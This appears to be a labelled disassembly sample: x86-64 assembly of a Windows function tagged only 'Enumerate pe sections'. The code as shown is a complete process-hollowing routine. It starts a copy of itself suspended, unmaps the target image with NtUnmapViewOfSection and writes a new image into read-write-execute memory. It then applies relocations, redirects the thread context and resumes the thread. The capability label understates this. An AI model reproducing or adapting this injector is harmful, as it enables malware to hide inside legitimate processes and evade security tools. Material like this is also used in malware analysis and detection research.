Function at 0x140001eb4
Capabilities:
Enumerate pe sections

Disassembly:
mov dword [rsp + 8], ecx
push rdi
sub rsp, 0xaa0
mov dword [rsp + 0x80], 0
lea rax, [rsp + 0x88]
mov rdi, rax
xor eax, eax
mov ecx, 0x60
rep stosb byte [rdi], al
mov qword [rsp + 0x120], 0
lea rax, [rsp + 0x128]
mov rdi, rax
xor eax, eax
mov ecx, 0x10
rep stosb byte [rdi], al
xor eax, eax
mov word [rsp + 0x840], ax
mov r8d, 0x104
lea rdx, [rsp + 0x840]
xor ecx, ecx
call qword [0x140007230]
mov dword [rsp + 0x358], eax
cmp dword [rsp + 0x358], 0
jne 0x140001f35
jmp 0x1400027d9
xor eax, eax
mov word [rsp + 0x140], ax
lea rax, [rsp + 0x142]
mov rdi, rax
xor eax, eax
mov ecx, 0x206
rep stosb byte [rdi], al
mov byte [rsp + 0x118], 0
mov eax, dword [rsp + 0xab0]
mov dword [rsp + 0xa90], eax
cmp dword [rsp + 0xa90], 0
je 0x140001f89
cmp dword [rsp + 0xa90], 1
je 0x140001fa7
cmp dword [rsp + 0xa90], 3
je 0x140001fc5
jmp 0x140001fe3
xor r8d, r8d
mov edx, 0x104
lea rcx, [rsp + 0x140]
call fcn.140001df4
mov byte [rsp + 0x118], al
jmp 0x140001fe8
xor r8d, r8d
mov edx, 0x104
lea rcx, [rsp + 0x140]
call fcn.140001e34
mov byte [rsp + 0x118], al
jmp 0x140001fe8
xor r8d, r8d
mov edx, 0x104
lea rcx, [rsp + 0x140]
call fcn.140001e74
mov byte [rsp + 0x118], al
jmp 0x140001fe8
jmp 0x1400027d9
movzx eax, byte [rsp + 0x118]
test eax, eax
jne 0x140001ff9
jmp 0x1400027d9
lea rax, [rsp + 0x120]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x140]
call qword [0x140007220]
test eax, eax
jne 0x140002054
jmp 0x1400027d9
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, [rsp + 0x840]
call qword [0x140007118]
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0xffffffffffffffff
jne 0x14000209b
jmp 0x1400027d9
xor edx, edx
mov rcx, qword [rsp + 0x50]
call qword [0x1400072b8]
mov dword [rsp + 0x100], eax
cmp dword [rsp + 0x100], 0xffffffff
je 0x1400020c3
cmp dword [rsp + 0x100], 0
jne 0x1400020d3
mov rcx, qword [rsp + 0x50]
call qword [0x140007110]
jmp 0x1400027d9
mov eax, dword [rsp + 0x100]
mov r9d, 4
mov r8d, 0x3000
mov edx, eax
xor ecx, ecx
call qword [0x140007170]
mov qword [rsp + 0x60], rax
cmp qword [rsp + 0x60], 0
jne 0x14000210d
mov rcx, qword [rsp + 0x50]
call qword [0x140007110]
jmp 0x1400027d9
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x138]
mov r8d, dword [rsp + 0x100]
mov rdx, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x50]
call qword [0x140007178]
test eax, eax
jne 0x14000215d
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rsp + 0x60]
call qword [0x140007188]
mov rcx, qword [rsp + 0x50]
call qword [0x140007110]
jmp 0x1400027d9
mov rcx, qword [rsp + 0x50]
call qword [0x140007110]
mov qword [rsp + 0x370], 0
lea rax, [rsp + 0x378]
mov rdi, rax
xor eax, eax
mov ecx, 0x4c8
rep stosb byte [rdi], al
mov dword [rsp + 0x3a0], 0x10000b
lea rdx, [rsp + 0x370]
mov rcx, qword [rsp + 0x128]
call qword [0x140007340]
test eax, eax
jne 0x1400021c5
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rsp + 0x60]
call qword [0x140007188]
jmp 0x1400027d9
mov qword [rsp + 0x110], 0
mov rax, qword [rsp + 0x3f8]
add rax, 0x10
mov qword [rsp + 0x20], 0
mov r9d, 8
lea r8, [rsp + 0x110]
mov rdx, rax
mov rcx, qword [rsp + 0x120]
call qword [0x1400072f8]
lea rcx, str.ntdll
call qword [0x140007338]
mov qword [rsp + 0xf8], rax
lea rdx, str.NtUnmapViewOfSection
mov rcx, qword [rsp + 0xf8]
call qword [0x1400070b8]
mov qword [rsp + 0x68], rax
mov rdx, qword [rsp + 0x110]
mov rcx, qword [rsp + 0x120]
call qword [rsp + 0x68]
test eax, eax
je 0x140002264
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rsp + 0x60]
call qword [0x140007188]
jmp 0x1400027d9
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x70], rax
mov rax, qword [rsp + 0x70]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x60]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xf0], rax
mov rax, qword [rsp + 0xf0]
mov eax, dword [rax + 0x50]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, eax
mov rdx, qword [rsp + 0x110]
mov rcx, qword [rsp + 0x120]
call qword [0x140007330]
mov qword [rsp + 0x360], rax
cmp qword [rsp + 0x360], 0
jne 0x1400022e7
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rsp + 0x60]
call qword [0x140007188]
jmp 0x1400027d9
mov rax, qword [rsp + 0xf0]
mov eax, dword [rax + 0x54]
mov qword [rsp + 0x20], 0
mov r9d, eax
mov r8, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x110]
mov rcx, qword [rsp + 0x120]
call qword [0x1400072f0]
test eax, eax
jne 0x140002335
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rsp + 0x60]
call qword [0x140007188]
jmp 0x1400027d9
mov dword [rsp + 0xa50], 0
jmp 0x140002352
mov eax, dword [rsp + 0xa50]
inc eax
mov dword [rsp + 0xa50], eax
mov rax, qword [rsp + 0xf0]
movzx eax, word [rax + 6]
cmp dword [rsp + 0xa50], eax
jge 0x140002413
mov rax, qword [rsp + 0x70]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x60]
add rcx, rax
mov rax, rcx
movsxd rcx, dword [rsp + 0xa50]
imul rcx, rcx, 0x28
lea rax, [rax + rcx + 0x108]
mov qword [rsp + 0x108], rax
mov rax, qword [rsp + 0x108]
mov eax, dword [rax + 0x10]
mov rcx, qword [rsp + 0x108]
mov ecx, dword [rcx + 0x14]
mov rdx, qword [rsp + 0x60]
add rdx, rcx
mov rcx, rdx
mov rdx, qword [rsp + 0x108]
mov edx, dword [rdx + 0xc]
mov rdi, qword [rsp + 0x360]
add rdi, rdx
mov rdx, rdi
mov qword [rsp + 0x20], 0
mov r9d, eax
mov r8, rcx
mov rcx, qword [rsp + 0x120]
call qword [0x1400072f0]
test eax, eax
jne 0x14000240e
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rsp + 0x60]
call qword [0x140007188]
jmp 0x1400027d9
jmp 0x140002342
mov qword [rsp + 0x58], 0
mov rax, qword [rsp + 0xf0]
mov rax, qword [rax + 0x30]
mov rcx, qword [rsp + 0x110]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0xf0]
mov rcx, qword [rsp + 0x110]
mov qword [rax + 0x30], rcx
mov dword [rsp + 0xa54], 0
jmp 0x14000246c
mov eax, dword [rsp + 0xa54]
inc eax
mov dword [rsp + 0xa54], eax
mov rax, qword [rsp + 0xf0]
movzx eax, word [rax + 6]
cmp dword [rsp + 0xa54], eax
jge 0x140002704
mov rax, qword [rsp + 0x70]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x60]
add rcx, rax
mov rax, rcx
movsxd rcx, dword [rsp + 0xa54]
imul rcx, rcx, 0x28
lea rax, [rax + rcx + 0x108]
mov qword [rsp + 0x108], rax
mov r8d, 6
lea rdx, str..reloc
mov rcx, qword [rsp + 0x108]
call qword [0x140007328]
cmp rax, 6
je 0x1400024d8
jmp 0x14000245c
mov rax, qword [rsp + 0x108]
mov eax, dword [rax + 0x14]
mov dword [rsp + 0xa5c], eax
mov rax, qword [rsp + 0xf0]
mov rax, qword [rax + 0xb0]
mov qword [rsp + 0xa60], rax
mov dword [rsp + 0xa58], 0
mov eax, dword [rsp + 0xa64]
cmp dword [rsp + 0xa58], eax
jae 0x1400026ff
mov eax, dword [rsp + 0xa58]
mov ecx, dword [rsp + 0xa5c]
add ecx, eax
mov eax, ecx
mov eax, eax
mov rcx, qword [rsp + 0x60]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa70], rax
mov eax, dword [rsp + 0xa58]
add rax, 8
mov dword [rsp + 0xa58], eax
mov rax, qword [rsp + 0xa70]
mov eax, dword [rax + 4]
sub rax, 8
xor edx, edx
mov ecx, 2
div rcx
mov dword [rsp + 0xa68], eax
mov eax, dword [rsp + 0xa58]
mov ecx, dword [rsp + 0xa5c]
add ecx, eax
mov eax, ecx
mov eax, eax
mov rcx, qword [rsp + 0x60]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa78], rax
mov dword [rsp + 0xa80], 0
jmp 0x1400025bd
mov eax, dword [rsp + 0xa80]
inc eax
mov dword [rsp + 0xa80], eax
mov eax, dword [rsp + 0xa68]
cmp dword [rsp + 0xa80], eax
jae 0x1400026fa
mov eax, dword [rsp + 0xa58]
add rax, 2
mov dword [rsp + 0xa58], eax
movsxd rax, dword [rsp + 0xa80]
mov rcx, qword [rsp + 0xa78]
movzx eax, word [rcx + rax*2]
shr ax, 0xc
and ax, 0xf
movzx eax, ax
test eax, eax
jne 0x140002608
jmp 0x1400025ad
movsxd rax, dword [rsp + 0xa80]
mov ecx, 0xfff
mov rdx, qword [rsp + 0xa78]
movzx eax, word [rdx + rax*2]
and ax, cx
movzx eax, ax
mov rcx, qword [rsp + 0xa70]
add eax, dword [rcx]
mov dword [rsp + 0xa84], eax
mov qword [rsp + 0xa88], 0
mov eax, dword [rsp + 0xa84]
mov rcx, qword [rsp + 0x110]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x20], 0
mov r9d, 8
lea r8, [rsp + 0xa88]
mov rdx, rax
mov rcx, qword [rsp + 0x120]
call qword [0x1400072f8]
mov rax, qword [rsp + 0x58]
mov rcx, qword [rsp + 0xa88]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa88], rax
mov eax, dword [rsp + 0xa84]
mov rcx, qword [rsp + 0x110]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x20], 0
mov r9d, 8
lea r8, [rsp + 0xa88]
mov rdx, rax
mov rcx, qword [rsp + 0x120]
call qword [0x1400072f0]
test eax, eax
jne 0x1400026f5
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rsp + 0x60]
call qword [0x140007188]
jmp 0x1400027d9
jmp 0x1400025ad
jmp 0x14000250c
jmp 0x14000245c
mov rax, qword [rsp + 0xf0]
add rax, 0x30
mov rcx, qword [rsp + 0x3f8]
add rcx, 0x10
mov qword [rsp + 0x20], 0
mov r9d, 8
mov r8, rax
mov rdx, rcx
mov rcx, qword [rsp + 0x120]
call qword [0x1400072f0]
mov rax, qword [rsp + 0xf0]
mov eax, dword [rax + 0x28]
mov rcx, qword [rsp + 0x360]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x350], rax
mov rax, qword [rsp + 0x350]
mov qword [rsp + 0x3f0], rax
lea rdx, [rsp + 0x370]
mov rcx, qword [rsp + 0x128]
call qword [0x140007320]
test eax, eax
jne 0x14000279f
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rsp + 0x60]
call qword [0x140007188]
jmp 0x1400027d9
mov rcx, qword [rsp + 0x128]
call qword [0x140007318]
test eax, eax
jne 0x1400027c6
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rsp + 0x60]
call qword [0x140007188]
jmp 0x1400027d9
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rsp + 0x60]
call qword [0x140007188]
add rsp, 0xaa0
pop rdi
ret